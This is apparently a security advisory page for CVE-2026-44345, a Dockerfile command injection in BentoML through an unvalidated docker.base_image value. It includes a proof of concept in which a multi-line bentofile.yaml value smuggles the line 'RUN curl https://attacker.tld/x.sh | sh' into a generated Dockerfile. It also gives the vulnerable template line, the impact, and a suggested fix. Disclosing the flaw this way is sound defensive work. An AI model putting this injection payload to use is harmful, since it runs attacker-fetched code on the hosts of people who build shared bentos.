CVE-2026-44345: BentoML: Dockerfile command injection via docker.base_image
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2 interpolates docker.baseimage raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.baseimage value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.
Other sources
The same Dockerfile template that mishandles envs[].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.baseimage raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.baseimage value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/internal/container/frontend/dockerfile/templates/basev2.j2:38 (current main, 2026-04-28):
jinja FROM {{ optionsbaseimage }} AS base-container
optionsbaseimage resolves to DockerOptions.baseimage (src/bentoml/internal/bento/buildconfig.py:176):
python baseimage: t.Optional[str] = None
No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/internal/container/init.py:206 via DockerOptions(dockerattrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
yaml docker: baseimage: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch
Minimal reproduction of the unsafe interpolation:
python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.fromstring('FROM {{ optionsbaseimage }} AS base-container').render(optionsbaseimage=malicious) print(out)
Output:
FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container
Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.
Impact
Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.baseimage to be a Docker image reference, not a Dockerfile fragment.
Suggested fix
Validate DockerOptions.baseimage at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9./-]+(:[A-Za-z0-9.-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.
The same hardening should be extended to other unvalidated fields interpolated raw in basev2.j2:
optionsbuildinclude[] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.buildinclude(filepaths). bentouser, bentouidgid, bentopath, bentohome, bentoentrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through overridebentoenv.
References
Pending sibling: GHSA-w2pm-x38x-jp44 (envs[].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. CWE-78: https://cwe.mitre.org/data/definitions/78.html
— GitHub
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44345?
CVE-2026-44345 is classified as a high-severity vulnerability due to its potential for arbitrary code execution.
How do I fix CVE-2026-44345?
To fix CVE-2026-44345, upgrade to bentoml version 1.4.39 or later.
What software is affected by CVE-2026-44345?
CVE-2026-44345 affects bentoml versions up to and including 1.4.38.
What are the risks associated with CVE-2026-44345?
The risks associated with CVE-2026-44345 include the potential for an attacker to inject malicious Dockerfile directives.
How can I determine if my application is vulnerable to CVE-2026-44345?
You can determine if your application is vulnerable to CVE-2026-44345 by checking if it uses bentoml version 1.4.38 or lower.